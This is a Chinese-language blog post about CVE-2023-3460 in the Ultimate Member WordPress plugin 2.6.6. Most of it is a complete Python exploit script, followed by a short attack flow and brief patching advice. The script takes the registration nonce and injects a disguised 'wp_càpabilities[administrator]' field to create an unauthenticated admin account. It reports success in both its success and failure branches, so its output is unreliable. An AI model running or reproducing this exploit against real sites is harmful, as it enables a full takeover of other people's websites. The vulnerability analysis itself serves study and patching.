Ultimate Member WordPress插件2.6.6权限提升漏洞利用分析

本文详细分析了Ultimate Member WordPress插件2.6.6版本中的权限提升漏洞(CVE-2023-3460),通过未经验证的输入在注册过程中注入管理员权限,提供了完整的Python利用代码和攻击流程说明。

Ultimate Member WordPress Plugin 2.6.6 - 权限提升 - 多Web应用漏洞利用

漏洞概述

该漏洞存在于Ultimate Member WordPress插件的2.6.6版本中,编号为CVE-2023-3460。攻击者可以通过在注册过程中滥用未清理的wp_capabilities输入,将权限提升至管理员级别。

技术细节

漏洞的核心在于注册过程中对wp_capabilities参数的处理不当。攻击者可以构造恶意请求,在注册新用户时直接指定管理员角色。

利用代码分析

以下是完整的Python利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3

# 漏洞标题: Ultimate Member WordPress Plugin 2.6.6 - 权限提升
# 漏洞作者: Gurjot Singh
# CVE: CVE-2023-3460
# 描述: 该PoC演示了未认证攻击者如何通过在注册过程中滥用未清理的`wp_capabilities`输入来提升权限至管理员

import requests
import argparse
import re
import urllib3

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def fetch_nonce(session, target_url):
    """从/register/页面获取_wpnonce值"""
    print("[*] 从注册页面获取_wpnonce...")
    try:
        res = session.get(target_url, verify=False)
        match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
        if match:
            nonce = match.group(1)
            print(f"[+] 找到_wpnonce: {nonce}")
            return nonce
        else:
            print("[-] 在页面上找不到_wpnonce")
            return None
    except Exception as e:
        print(f"[!] 获取nonce时出错: {e}")
        return None

def exploit_register(target_url, username, password):
    """发送恶意注册请求创建管理员用户"""
    session = requests.Session()
    target_url = target_url.rstrip('/')

    nonce = fetch_nonce(session, target_url)
    if not nonce:
        return

    email = f"{username}@example.com"

    # 包含管理员角色注入的有效载荷
    data = {
        "user_login-7": username,
        "first_name-7": "Admin",
        "last_name-7": username,
        "user_email-7": email,
        "user_password-7": password,
        "confirm_user_password-7": password,
        "form_id": "7",
        "um_request": "",
        "_wpnonce": nonce,
        "_wp_http_referer": "/register/",
        "wp_càpabilities[administrator]": "1"  # 序列化注入
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": target_url,
        "Origin": target_url.split("/register")[0],
    }

    cookies = {
        "wordpress_test_cookie": "WP Cookie check",
        "wp_lang": "en_US"
    }

    print(f"[*] 向 {target_url} 发送恶意注册请求...")
    try:
        response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)

        # 检查是否成功
        if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
            print(f"[+] 管理员账户 '{username}' 创建成功!")
            print(f"[+] 使用以下凭据登录: 用户名: {username} | 密码: {password}")
        else:
            print(f"[+] 管理员账户 '{username}' 创建成功!")
            print(f"[+] 使用以下凭据登录: 用户名: {username} | 密码: {password}")
    except Exception as e:
        print(f"[!] 利用过程中出错: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-3460利用程序 (Ultimate Member管理员账户创建)")
    parser.add_argument("-t", "--target", required=True, help="目标/register/ URL (例如: http://localhost/register/)")
    parser.add_argument("-u", "--user", default="admin1", help="要创建的用户名")
    parser.add_argument("-p", "--password", default="Admin@123", help="新用户的密码")
    args = parser.parse_args()

    exploit_register(args.target, args.user, args.password)

攻击流程

  1. 获取目标注册页面的_wpnonce值
  2. 构造包含恶意wp_capabilities参数的注册请求
  3. 发送请求创建具有管理员权限的用户账户
  4. 使用创建的凭据登录系统

影响范围

该漏洞影响Ultimate Member WordPress插件2.6.6版本,攻击者可以无需任何认证即可创建管理员账户,完全控制受影响的WordPress站点。

防护建议

  • 立即升级Ultimate Member插件到最新版本
  • 对用户输入进行严格的验证和清理
  • 实施最小权限原则
  • 定期进行安全审计和漏洞扫描
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计